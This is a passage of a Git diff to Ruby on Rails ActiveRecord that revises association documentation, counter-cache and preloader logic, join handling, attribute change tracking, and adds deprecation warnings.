@@ module ActiveRecord # person.pets.delete_all # # Pet.find(1, 2, 3) - # # => ActiveRecord::RecordNotFound + # # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3) # # If it is set to <tt>:delete_all</tt>, all the objects are deleted # *without* calling their +destroy+ method. @@ -438,7 +473,7 @@ module ActiveRecord # person.pets.delete_all # # Pet.find(1, 2, 3) - # # => ActiveRecord::RecordNotFound + # # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3) def delete_all(dependent = nil) @association.delete_all(dependent) end @@ -470,15 +505,16 @@ module ActiveRecord @association.destroy_all end - # Deletes the +records+ supplied and removes them from the collection. For - # +has_many+ associations, the deletion is done according to the strategy - # specified by the <tt>:dependent</tt> option. Returns an array with the + # Deletes the +records+ supplied from the collection according to the strategy + # specified by the +:dependent+ option. If no +:dependent+ option is given, + # then it will follow the default strategy. Returns an array with the # deleted records. # - # If no <tt>:dependent</tt> option is given, then it will follow the default - # strategy. The default strategy is <tt>:nullify</tt>. This sets the foreign - # keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>, the default - # strategy is +delete_all+. + # For <tt>has_many :through</tt> associations, the default deletion strategy is + # +:delete_all+. + # + # For +has_many+ associations, the default deletion strategy is +:nullify+. + # This sets the foreign keys to +NULL+. # # class Person < ActiveRecord::Base # has_many :pets # dependent: :nullify option by default @@ -531,7 +567,7 @@ module ActiveRecord # # => [#<Pet id: 2, name: "Spook", person_id: 1>] # # Pet.find(1, 3) - # # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (1, 3) + # # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 3) # # If it is set to <tt>:delete_all</tt>, all the +records+ are deleted # *without* calling their +destroy+ method. @@ -559,7 +595,7 @@ module ActiveRecord # # ] # # Pet.find(1) - # # => ActiveRecord::RecordNotFound: Couldn't find Pet with id=1 + # # => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=1 # # You can pass +Fixnum+ or +String+ values, it finds the records # responding to the +id+ and executes delete on them. @@ -623,7 +659,7 @@ module ActiveRecord # person.pets.size # => 0 # person.pets # => [] # - # Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (1, 2, 3) + # Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3) # # You can pass +Fixnum+ or +String+ values, it finds the records # responding to the +id+ and then deletes them from the database. @@ -655,7 +691,7 @@ module ActiveRecord # person.pets.size # => 0 # person.pets # => [] # - # Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (4, 5, 6) + # Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (4, 5, 6) def destroy(*records) @association.destroy(*records) end @@ -679,12 +715,13 @@ module ActiveRecord end alias uniq distinct - # Count all records using SQL. + # Count all records. # # class Person < ActiveRecord::Base # has_many :pets # end # + # # This will perform the count using SQL. # person.pets.count # => 3 # person.pets # # => [ @@ -692,8 +729,13 @@ module ActiveRecord # # #<Pet id: 2, name: "Spook", person_id: 1>, # # #<Pet id: 3, name: "Choo-Choo", person_id: 1> # # ] - def count(column_name = nil) - @association.count(column_name) + # + # Passing a block will select all of a person's pets in SQL and then + # perform the count using Ruby. + # + # person.pets.count { |pet| pet.name.include?('-') } # => 2 + def count(column_name = nil, &block) + @association.count(column_name, &block) end # Returns the size of the collection. If the collection hasn't been loaded, @@ -780,7 +822,7 @@ module ActiveRecord # person.pets.any? # => false # # person.pets << Pet.new(name: 'Snoop') - # person.pets.count # => 0 + # person.pets.count # => 1 # person.pets.any? # => true # # You can also pass a +block+ to define criteria. The behavior @@ -855,7 +897,7 @@ module ActiveRecord !!@association.include?(record) end - def arel + def arel #:nodoc: scope.arel end @@ -943,6 +985,10 @@ module ActiveRecord end alias_method :to_a, :to_ary + def records # :nodoc: + load_target + end + # Adds one or more +records+ to the collection by setting their foreign keys # to the association's primary key. Returns +self+, so several appends may be # chained together. @@ -970,7 +1016,7 @@ module ActiveRecord alias_method :append, :<< def prepend(*args) - raise NoMethodError, "prepend on association is not defined. Please use << or append" + raise NoMethodError, "prepend on association is not defined. Please use <<, push or append" end # Equivalent to +delete_all+. The difference is that returns +self+, instead diff --git a/activerecord/lib/active_record/associations/foreign_association.rb b/activerecord/lib/active_record/associations/foreign_association.rb index fe48ecec29..3ceec0ee46 100644 --- a/activerecord/lib/active_record/associations/foreign_association.rb +++ b/activerecord/lib/active_record/associations/foreign_association.rb @@ -1,5 +1,5 @@ module ActiveRecord::Associations - module ForeignAssociation + module ForeignAssociation # :nodoc: def foreign_key_present? if reflection.klass.primary_key owner.attribute_present?(reflection.active_record_primary_key) diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb index ca27c9fdde..a9f6aaafef 100644 --- a/activerecord/lib/active_record/associations/has_many_association.rb +++ b/activerecord/lib/active_record/associations/has_many_association.rb @@ -15,8 +15,15 @@ module ActiveRecord when :restrict_with_error unless empty? - record = klass.human_attribute_name(reflection.name).downcase - owner.errors.add(:base, :"restrict_dependent_destroy.many", record: record) + record = owner.class.human_attribute_name(reflection.name).downcase + message = owner.errors.generate_message(:base, :'restrict_dependent_destroy.many', record: record, raise: true) rescue nil + if message + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + The error key `:'restrict_dependent_destroy.many'` has been deprecated and will be removed in Rails 5.1. + Please use `:'restrict_dependent_destroy.has_many'` instead. + MESSAGE + end + owner.errors.add(:base, message || :'restrict_dependent_destroy.has_many', record: record) throw(:abort) end @@ -43,7 +50,7 @@ module ActiveRecord end def empty? - if has_cached_counter? + if reflection.has_cached_counter? size.zero? else super @@ -66,8 +73,8 @@ module ActiveRecord # If the collection is empty the target is set to an empty array and # the loaded flag is set to true as well. def count_records - count = if has_cached_counter? - owner._read_attribute cached_counter_attribute_name + count = if reflection.has_cached_counter? + owner._read_attribute reflection.counter_cache_column else scope.count end @@ -80,70 +87,20 @@ module ActiveRecord [association_scope.limit_value, count].compact.min end - def has_cached_counter?(reflection = reflection()) - owner.attribute_present?(cached_counter_attribute_name(reflection)) - end - - def cached_counter_attribute_name(reflection = reflection()) - if reflection.options[:counter_cache] - reflection.options[:counter_cache].to_s - else - "#{reflection.name}_count" - end - end - def update_counter(difference, reflection = reflection()) - update_counter_in_database(difference, reflection) - update_counter_in_memory(difference, reflection) - end - - def update_counter_in_database(difference, reflection = reflection()) - if has_cached_counter?(reflection) - counter = cached_counter_attribute_name(reflection) - owner.class.update_counters(owner.id, counter => difference) + if reflection.has_cached_counter? + owner.increment!(reflection.counter_cache_column, difference) end end def update_counter_in_memory(difference, reflection = reflection()) - if counter_must_be_updated_by_has_many?(reflection) - counter = cached_counter_attribute_name(reflection) - owner[counter] += difference - owner.send(:clear_attribute_changes, counter) # eww + if reflection.counter_must_be_updated_by_has_many? + counter = reflection.counter_cache_column + owner.increment(counter, difference) + owner.send(:clear_attribute_change, counter) # eww end end - # This shit is nasty. We need to avoid the following situation: - # - # * An associated record is deleted via record.destroy - # * Hence the callbacks run, and they find a belongs_to on the record with a - # :counter_cache options which points back at our owner. So they update the - # counter cache. - # * In which case, we must make sure to *not* update the counter cache, or else - # it will be decremented twice. - # - # Hence this method. - def inverse_which_updates_counter_cache(reflection = reflection()) - counter_name = cached_counter_attribute_name(reflection) - inverse_which_updates_counter_named(counter_name, reflection) - end - alias inverse_updates_counter_cache? inverse_which_updates_counter_cache - - def inverse_which_updates_counter_named(counter_name, reflection) - reflection.klass._reflections.values.find { |inverse_reflection| - inverse_reflection.belongs_to? && - inverse_reflection.counter_cache_column == counter_name - } - end - - def inverse_updates_counter_in_memory?(reflection) - inverse = inverse_which_updates_counter_cache(reflection) - inverse && inverse == reflection.inverse_of - end - - def counter_must_be_updated_by_has_many?(reflection) - !inverse_updates_counter_in_memory?(reflection) && has_cached_counter?(reflection) - end - def delete_count(method, scope) if method == :delete_all scope.delete_all @@ -161,7 +118,7 @@ module ActiveRecord def delete_records(records, method) if method == :destroy records.each(&:destroy!) - update_counter(-records.length) unless inverse_updates_counter_cache? + update_counter(-records.length) unless reflection.inverse_updates_counter_cache? else scope = self.scope.where(reflection.klass.primary_key => records) update_counter(-delete_count(method, scope)) diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb index 4897ec44e9..36fc381343 100644 --- a/activerecord/lib/active_record/associations/has_many_through_association.rb +++ b/activerecord/lib/active_record/associations/has_many_through_association.rb @@ -38,12 +38,10 @@ module ActiveRecord def insert_record(record, validate = true, raise = false) ensure_not_nested - if record.new_record? - if raise - record.save!(:validate => validate) - else - return unless record.save(:validate => validate) - end + if raise + record.save!(:validate => validate) + else + return unless record.save(:validate => validate) end save_through_record(record) @@ -68,6 +66,11 @@ module ActiveRecord through_record = through_association.build(*options_for_through_record) through_record.send("#{source_reflection.name}=", record) + + if options[:source_type] + through_record.send("#{source_reflection.foreign_type}=", options[:source_type]) + end + through_record end end @@ -112,7 +115,7 @@ module ActiveRecord def update_through_counter?(method) case method when :destroy - !inverse_updates_counter_cache?(through_reflection) + !through_reflection.inverse_updates_counter_cache? when :nullify false else diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb index 41a75b820e..0fe9b2e81b 100644 --- a/activerecord/lib/active_record/associations/has_one_association.rb +++ b/activerecord/lib/active_record/associations/has_one_association.rb @@ -1,5 +1,5 @@ module ActiveRecord - # = Active Record Belongs To Has One Association + # = Active Record Has One Association module Associations class HasOneAssociation < SingularAssociation #:nodoc: include ForeignAssociation @@ -11,8 +11,15 @@ module ActiveRecord when :restrict_with_error if load_target - record = klass.human_attribute_name(reflection.name).downcase - owner.errors.add(:base, :"restrict_dependent_destroy.one", record: record) + record = owner.class.human_attribute_name(reflection.name).downcase + message = owner.errors.generate_message(:base, :'restrict_dependent_destroy.one', record: record, raise: true) rescue nil + if message + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + The error key `:'restrict_dependent_destroy.one'` has been deprecated and will be removed in Rails 5.1. + Please use `:'restrict_dependent_destroy.has_one'` instead. + MESSAGE + end + owner.errors.add(:base, message || :'restrict_dependent_destroy.has_one', record: record) throw(:abort) end @@ -58,7 +65,7 @@ module ActiveRecord when :destroy target.destroy when :nullify - target.update_columns(reflection.foreign_key => nil) + target.update_columns(reflection.foreign_key => nil) if target.persisted? end end end diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb index 81eb5136a1..b94feeff12 100644 --- a/activerecord/lib/active_record/associations/join_dependency.rb +++ b/activerecord/lib/active_record/associations/join_dependency.rb @@ -32,7 +32,7 @@ module ActiveRecord @alias_cache[node][column] end - class Table < Struct.new(:node, :columns) + class Table < Struct.new(:node, :columns) # :nodoc: def table Arel::Nodes::TableAlias.new node.table, node.aliased_table_name end @@ -103,9 +103,14 @@ module ActiveRecord join_root.drop(1).map!(&:reflection) end - def join_constraints(outer_joins) + def join_constraints(outer_joins, join_type) joins = join_root.children.flat_map { |child| - make_inner_joins join_root, child + + if join_type == Arel::Nodes::OuterJoin + make_left_outer_joins join_root, child + else + make_inner_joins join_root, child + end } joins.concat outer_joins.flat_map { |oj| @@ -131,9 +136,9 @@ module ActiveRecord def instantiate(result_set, aliases) primary_key = aliases.column_alias(join_root, join_root.primary_key) - seen = Hash.new { |h,parent_klass| - h[parent_klass] = Hash.new { |i,parent_id| - i[parent_id] = Hash.new { |j,child_klass| j[child_klass] = {} } + seen = Hash.new { |i, object_id| + i[object_id] = Hash.new { |j, child_class| + j[child_class] = {} } } @@ -150,7 +155,8 @@ module ActiveRecord message_bus.instrument('instantiation.active_record', payload) do result_set.each { |row_hash| - parent = parents[row_hash[primary_key]] ||= join_root.instantiate(row_hash, column_aliases) + parent_key = primary_key ? row_hash[primary_key] : row_hash + parent = parents[parent_key] ||= join_root.instantiate(row_hash, column_aliases) construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases) } end @@ -175,6 +181,14 @@ module ActiveRecord [info] + child.children.flat_map { |c| make_outer_joins(child, c) } end + def make_left_outer_joins(parent, child) + tables = child.tables + join_type = Arel::Nodes::OuterJoin + info = make_constraints parent, child, tables, join_type + + [info] + child.children.flat_map { |c| make_left_outer_joins(child, c) } + end + def make_inner_joins(parent, child) tables = child.tables join_type = Arel::Nodes::InnerJoin @@ -214,7 +228,7 @@ module ActiveRecord def find_reflection(klass, name) klass._reflect_on_association(name) or - raise ConfigurationError, "Association named '#{ name }' was not found on #{ klass.name }; perhaps you misspelled it?" + raise ConfigurationError, "Can't join '#{ klass.name }' to association named '#{ name }'; perhaps you misspelled it?" end def build(associations, base_klass) @@ -233,7 +247,6 @@ module ActiveRecord def construct(ar_parent, parent, row, rs, seen, model_cache, aliases) return if ar_parent.nil? - primary_id = ar_parent.id parent.children.each do |node| if node.reflection.collection? @@ -253,14 +266,14 @@ module ActiveRecord next end - model = seen[parent.base_klass][primary_id][node.base_klass][id] + model = seen[ar_parent.object_id][node.base_klass][id] if model construct(model, node, row, rs, seen, model_cache, aliases) else model = construct_model(ar_parent, node, row, model_cache, id, aliases) model.readonly! - seen[parent.base_klass][primary_id][node.base_klass][id] = model + seen[ar_parent.object_id][node.base_klass][id] = model construct(model, node, row, rs, seen, model_cache, aliases) end end diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb index a6ad09a38a..c5fbe0d1d1 100644 --- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb +++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb @@ -54,12 +54,18 @@ module ActiveRecord end scope_chain_index += 1 - relation = ActiveRecord::Relation.create( - klass, - table, - predicate_builder, - ) - scope_chain_items.concat [klass.send(:build_default_scope, relation)].compact + klass_scope = + if klass.current_scope + klass.current_scope.clone + else + relation = ActiveRecord::Relation.create( + klass, + table, + predicate_builder, + ) + klass.send(:build_default_scope, relation) + end + scope_chain_items.concat [klass_scope].compact rel = scope_chain_items.inject(scope_chain_items.shift) do |left, right| left.merge right @@ -74,9 +80,8 @@ module ActiveRecord value = foreign_klass.base_class.name column = klass.columns_hash[reflection.type.to_s] - substitute = klass.connection.substitute_at(column) binds << Relation::QueryAttribute.new(column.name, value, klass.type_for_attribute(column.name)) - constraint = constraint.and table[reflection.type].eq substitute + constraint = constraint.and klass.arel_attribute(reflection.type, table).eq(Arel::Nodes::BindParam.new) end joins << table.create_join(table, table.create_on(constraint), join_type) diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb index 97f4bd3811..e64af84e1a 100644 --- a/activerecord/lib/active_record/associations/preloader.rb +++ b/activerecord/lib/active_record/associations/preloader.rb @@ -10,13 +10,13 @@ module ActiveRecord # end # # class Book < ActiveRecord::Base - # # columns: title, sales + # # columns: title, sales, author_id # end # # When you load an author with all associated books Active Record will make # multiple queries like this: # - # Author.includes(:books).where(:name => ['bell hooks', 'Homer').to_a + # Author.includes(:books).where(name: ['bell hooks', 'Homer']).to_a # # => SELECT `authors`.* FROM `authors` WHERE `name` IN ('bell hooks', 'Homer') # => SELECT `books`.* FROM `books` WHERE `author_id` IN (2, 5) @@ -54,6 +54,8 @@ module ActiveRecord autoload :BelongsTo, 'active_record/associations/preloader/belongs_to' end + NULL_RELATION = Struct.new(:values, :where_clause, :joins_values).new({}, Relation::WhereClause.empty, []) + # Eager loads the named associations for the given Active Record record(s). # # In this description, 'association name' shall refer to the name passed @@ -88,9 +90,6 @@ module ActiveRecord # [ :books, :author ] # { author: :avatar } # [ :books, { author: :avatar } ] - - NULL_RELATION = Struct.new(:values, :where_clause, :joins_values).new({}, Relation::WhereClause.empty, []) - def preload(records, associations, preload_scope = nil) records = Array.wrap(records).compact.uniq associations = Array.wrap(associations) @@ -107,6 +106,7 @@ module ActiveRecord private + # Loads all the given data into +records+ for the +association+. def preloaders_on(association, records, scope) case association when Hash @@ -116,7 +116,7 @@ module ActiveRecord when String preloaders_for_one(association.to_sym, records, scope) else - raise ArgumentError, "#{association.inspect} was not recognised for preload" + raise ArgumentError, "#{association.inspect} was not recognized for preload" end end @@ -132,6 +132,11 @@ module ActiveRecord } end + # Loads all the given data into +records+ for a singular +association+. + # + # Functions by instantiating a preloader class such as Preloader::HasManyThrough and + # call the +run+ method for each passed in class in the +records+ argument. + # # Not all records have the same class, so group then preload group on the reflection # itself so that if various subclass share the same association then we do not split # them unnecessarily @@ -160,7 +165,7 @@ module ActiveRecord h end - class AlreadyLoaded + class AlreadyLoaded # :nodoc: attr_reader :owners, :reflection def initialize(klass, owners, reflection, preload_scope) @@ -175,12 +180,17 @@ module ActiveRecord end end - class NullPreloader + class NullPreloader # :nodoc: def self.new(klass, owners, reflection, preload_scope); self; end def self.run(preloader); end def self.preloaded_records; []; end + def self.owners; []; end end + # Returns a class containing the logic needed to load preload the data + # and attach it to a relation. For example +Preloader::Association+ or + # +Preloader::HasManyThrough+. The class returned implements a `run` method + # that accepts a preloader. def preloader_for(reflection, owners, rhs_klass) return NullPreloader unless rhs_klass diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb index 1dc8bff193..3032bc786e 100644 --- a/activerecord/lib/active_record/associations/preloader/association.rb +++ b/activerecord/lib/active_record/associations/preloader/association.rb @@ -12,7 +12,6 @@ module ActiveRecord @preload_scope = preload_scope @model = owners.first && owners.first.class @scope = nil - @owners_by_key = nil @preloaded_records = [] end @@ -48,7 +47,7 @@ module ActiveRecord # This is overridden by HABTM as the condition should be on the foreign_key column in # the join table def association_key - table[association_key_name] + klass.arel_attribute(association_key_name, table) end # The name of the key on the model which declares the association @@ -56,18 +55,6 @@ module ActiveRecord raise NotImplementedError end - def owners_by_key - @owners_by_key ||= if key_conversion_required? - owners.group_by do |owner| - owner[owner_key_name].to_s - end - else - owners.group_by do |owner| - owner[owner_key_name] - end - end - end - def options reflection.options end @@ -75,32 +62,33 @@ module ActiveRecord private def associated_records_by_owner(preloader) - owners_map = owners_by_key - owner_keys = owners_map.keys.compact - - # Each record may have multiple owners, and vice-versa - records_by_owner = owners.each_with_object({}) do |owner,h| - h[owner] = [] + records = load_records + owners.each_with_object({}) do |owner, result| + result[owner] = records[convert_key(owner[owner_key_name])] || [] end + end - if owner_keys.any? - # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000) - # Make several smaller queries if necessary or make one query if the adapter supports it - sliced = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size) - - records = load_slices sliced - records.each do |record, owner_key| - owners_map[owner_key].each do |owner| - records_by_owner[owner] << record - end + def owner_keys + unless defined?(@owner_keys) + @owner_keys = owners.map do |owner| + owner[owner_key_name] end + @owner_keys.uniq! + @owner_keys.compact! end - - records_by_owner + @owner_keys end def key_conversion_required? - association_key_type != owner_key_type + @key_conversion_required ||= association_key_type != owner_key_type + end + + def convert_key(key) + if key_conversion_required? + key.to_s + else + key + end end def association_key_type @@ -111,17 +99,17 @@ module ActiveRecord @model.type_for_attribute(owner_key_name.to_s).type end - def load_slices(slices) - @preloaded_records = slices.flat_map { |slice| + def load_records + return {} if owner_keys.empty? + # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000) + # Make several smaller queries if necessary or make one query if the adapter supports it + slices = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size) + @preloaded_records = slices.flat_map do |slice| records_for(slice) - } - - @preloaded_records.map { |record| - key = record[association_key_name] - key = key.to_s if key_conversion_required? - - [record, key] - } + end + @preloaded_records.group_by do |record| + convert_key(record[association_key_name]) + end end def reflection_scope @@ -137,14 +125,23 @@ module ActiveRecord scope.where_clause = reflection_scope.where_clause + preload_scope.where_clause scope.references_values = Array(values[:references]) + Array(preload_values[:references]) - scope._select! preload_values[:select] || values[:select] || table[Arel.star] + if preload_values[:select] || values[:select] + scope._select!(preload_values[:select] || values[:select]) + end scope.includes! preload_values[:includes] || values[:includes] if preload_scope.joins_values.any? scope.joins!(preload_scope.joins_values) else scope.joins!(reflection_scope.joins_values) end - scope.order! preload_values[:order] || values[:order] + + if order_values = preload_values[:order] || values[:order] + scope.order!(order_values) + end + + if preload_values[:reordering] || values[:reordering] + scope.reordering_value = true + end if preload_values[:readonly] || values[:readonly] scope.readonly! @@ -154,7 +151,7 @@ module ActiveRecord scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name }) end - scope.unscope_values = Array(values[:unscope]) + scope.unscope_values = Array(values[:unscope]) + Array(preload_values[:unscope]) klass.default_scoped.merge(scope) end end diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb index 5adffcd831..9939280fa4 100644 --- a/activerecord/lib/active_record/associations/preloader/collection_association.rb +++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb @@ -2,13 +2,8 @@ module ActiveRecord module Associations class Preloader class CollectionAssociation < Association #:nodoc: - private - def build_scope - super.order(preload_scope.values[:order] || reflection_scope.values[:order]) - end - def preload(preloader) associated_records_by_owner(preloader).each do |owner, records| association = owner.association(reflection.name) @@ -17,7 +12,6 @@ module ActiveRecord records.each { |record| association.set_inverse_instance(record) } end end - end end end diff --git a/activerecord/lib/active_record/associations/preloader/has_one.rb b/activerecord/lib/active_record/associations/preloader/has_one.rb index 24728e9f01..c4add621ca 100644 --- a/activerecord/lib/active_record/associations/preloader/has_one.rb +++ b/activerecord/lib/active_record/associations/preloader/has_one.rb @@ -2,7 +2,6 @@ module ActiveRecord module Associations class Preloader class HasOne < SingularAssociation #:nodoc: - def association_key_name reflection.foreign_key end @@ -10,13 +9,6 @@ module ActiveRecord def owner_key_name reflection.active_record_primary_key end - - private - - def build_scope - super.order(preload_scope.values[:order] || reflection_scope.values[:order]) - end - end end end diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb index 56aa23b173..b0203909ce 100644 --- a/activerecord/lib/active_record/associations/preloader/through_association.rb +++ b/activerecord/lib/active_record/associations/preloader/through_association.rb @@ -18,7 +18,8 @@ module ActiveRecord through_records = owners.map do |owner| association = owner.association through_reflection.name - [owner, Array(association.reader)] + center = target_records_from_association(association) + [owner, Array(center)] end reset_association owners, through_reflection.name @@ -37,28 +38,35 @@ module ActiveRecord } end - record_offset = {} - @preloaded_records.each_with_index do |record,i| - record_offset[record] = i - end - - through_records.each_with_object({}) { |(lhs,center),records_by_owner| + through_records.each_with_object({}) do |(lhs,center), records_by_owner| pl_to_middle = center.group_by { |record| middle_to_pl[record] } records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles| rhs_records = middles.flat_map { |r| association = r.association source_reflection.name - association.reader + target_records_from_association(association) }.compact - rhs_records.sort_by { |rhs| record_offset[rhs] } + # Respect the order on `reflection_scope` if it exists, else use the natural order. + if reflection_scope.values[:order].present? + @id_map ||= id_to_index_map @preloaded_records + rhs_records.sort_by { |rhs| @id_map[rhs] } + else + rhs_records + end end - } + end end private + def id_to_index_map(ids) + id_map = {} + ids.each_with_index { |id, index| id_map[id] = index } + id_map + end + def reset_association(owners, association_name) should_reset = (through_scope != through_reflection.klass.unscoped) || (reflection.options[:source_type] && through_reflection.collection?) @@ -84,11 +92,17 @@ module ActiveRecord end scope.references! reflection_scope.values[:references] - scope = scope.order reflection_scope.values[:order] if scope.eager_loading? + if scope.eager_loading? && order_values = reflection_scope.values[:order] + scope = scope.order(order_values) + end end scope end + + def target_records_from_association(association) + association.loaded? ? association.target : association.reader + end end end end diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb index 58d0f7d65d..f913f0852a 100644 --- a/activerecord/lib/active_record/associations/singular_association.rb +++ b/activerecord/lib/active_record/associations/singular_association.rb @@ -3,7 +3,13 @@ module ActiveRecord class SingularAssociation < Association #:nodoc: # Implements the reader method, e.g. foo.bar for Foo.has_one :bar def reader(force_reload = false) - if force_reload + if force_reload && klass + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing an argument to force an association to reload is now + deprecated and will be removed in Rails 5.1. Please call `reload` + on the parent object instead. + MSG + klass.uncached { reload } elsif !loaded? || stale_target? reload @@ -39,12 +45,7 @@ module ActiveRecord end def get_records - if reflection.scope_chain.any?(&:any?) || - scope.eager_loading? || - klass.scope_attributes? - - return scope.limit(1).to_a - end + return scope.limit(1).records if skip_statement_cache? conn = klass.connection sc = reflection.association_scope_cache(conn, owner) do diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb index af1bce523c..d0ec3e8015 100644 --- a/activerecord/lib/active_record/associations/through_association.rb +++ b/activerecord/lib/active_record/associations/through_association.rb @@ -15,12 +15,6 @@ module ActiveRecord scope = super reflection.chain.drop(1).each do |reflection| relation = reflection.klass.all - - reflection_scope = reflection.scope - if reflection_scope && reflection_scope.arity.zero? - relation = relation.merge(reflection_scope) - end - scope.merge!( relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load) ) @@ -82,13 +76,21 @@ module ActiveRecord def ensure_mutable unless source_reflection.belongs_to? - raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection) + if reflection.has_one? + raise HasOneThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection) + else + raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection) + end end end def ensure_not_nested if reflection.nested? - raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection) + if reflection.has_one? + raise HasOneThroughNestedAssociationsAreReadonly.new(owner, reflection) + else + raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection) + end end end diff --git a/activerecord/lib/active_record/attribute.rb b/activerecord/lib/active_record/attribute.rb index 73dd3fa041..24231dc9e1 100644 --- a/activerecord/lib/active_record/attribute.rb +++ b/activerecord/lib/active_record/attribute.rb @@ -5,8 +5,8 @@ module ActiveRecord FromDatabase.new(name, value, type) end - def from_user(name, value, type) - FromUser.new(name, value, type) + def from_user(name, value, type, original_attribute = nil) + FromUser.new(name, value, type, original_attribute) end def with_cast_value(name, value, type) @@ -26,36 +26,46 @@ module ActiveRecord # This method should not be called directly. # Use #from_database or #from_user - def initialize(name, value_before_type_cast, type) + def initialize(name, value_before_type_cast, type, original_attribute = nil) @name = name @value_before_type_cast = value_before_type_cast @type = type + @original_attribute = original_attribute end def value # `defined?` is cheaper than `||=` when we get back falsy values - @value = original_value unless defined?(@value) + @value = type_cast(value_before_type_cast) unless defined?(@value) @value end def original_value - type_cast(value_before_type_cast) + if assigned? + original_attribute.original_value + else + type_cast(value_before_type_cast) + end end def value_for_database type.serialize(value) end - def changed_from?(old_value) - type.changed?(old_value, value, value_before_type_cast) + def changed? + changed_from_assignment? || changed_in_place? + end + + def changed_in_place? + has_been_read? && type.changed_in_place?(original_value_for_database, value) end - def changed_in_place_from?(old_value) - has_been_read? && type.changed_in_place?(old_value, value) + def forgetting_assignment + with_value_from_database(value_for_database) end def with_value_from_user(value) - self.class.from_user(name, value, type) + type.assert_valid_value(value) + self.class.from_user(name, value, type, self) end def with_value_from_database(value) @@ -67,7 +77,7 @@ module ActiveRecord end def with_type(type) - self.class.new(name, value_before_type_cast, type) + self.class.new(name, value_before_type_cast, type, original_attribute) end def type_cast(*) @@ -100,16 +110,39 @@ module ActiveRecord protected + attr_reader :original_attribute + alias_method :assigned?, :original_attribute + def initialize_dup(other) if defined?(@value) && @value.duplicable? @value = @value.dup end end + def changed_from_assignment? + assigned? && type.changed?(original_value, value, value_before_type_cast) + end + + def original_value_for_database + if assigned? + original_attribute.original_value_for_database + else + _original_value_for_database + end + end + + def _original_value_for_database + value_for_database + end + class FromDatabase < Attribute # :nodoc: def type_cast(value) type.deserialize(value) end + + def _original_value_for_database + value_before_type_cast + end end class FromUser < Attribute # :nodoc: @@ -137,7 +170,7 @@ module ActiveRecord super(name, nil, Type::Value.new) end - def value + def type_cast(*) nil end diff --git a/activerecord/lib/active_record/attribute/user_provided_default.rb b/activerecord/lib/active_record/attribute/user_provided_default.rb new file mode 100644 index 0000000000..4580813364 --- /dev/null +++ b/activerecord/lib/active_record/attribute/user_provided_default.rb @@ -0,0 +1,28 @@ +require 'active_record/attribute' + +module ActiveRecord + class Attribute # :nodoc: + class UserProvidedDefault < FromUser # :nodoc: + def initialize(name, value, type, database_default) + @user_provided_value = value + super(name, value, type, database_default) + end + + def value_before_type_cast + if user_provided_value.is_a?(Proc) + @memoized_value_before_type_cast ||= user_provided_value.call + else + @user_provided_value + end + end + + def with_type(type) + self.class.new(name, user_provided_value, type, original_attribute) + end + + protected + + attr_reader :user_provided_value + end + end +end diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb index cc265e2af6..4c22be8235 100644 --- a/activerecord/lib/active_record/attribute_assignment.rb +++ b/activerecord/lib/active_record/attribute_assignment.rb @@ -5,7 +5,7 @@ module ActiveRecord extend ActiveSupport::Concern include ActiveModel::AttributeAssignment - # Alias for `assign_attributes`. See +ActiveModel::AttributeAssignment+. + # Alias for ActiveModel::AttributeAssignment#assign_attributes. See ActiveModel::AttributeAssignment. def attributes=(attributes) assign_attributes(attributes) end @@ -29,13 +29,6 @@ module ActiveRecord assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty? end - # Re-raise with the ActiveRecord constant in case of an error - def _assign_attribute(k, v) # :nodoc: - super - rescue ActiveModel::UnknownAttributeError - raise UnknownAttributeError.new(self, k) - end - # Assign any deferred nested attributes after the base attributes have been set. def 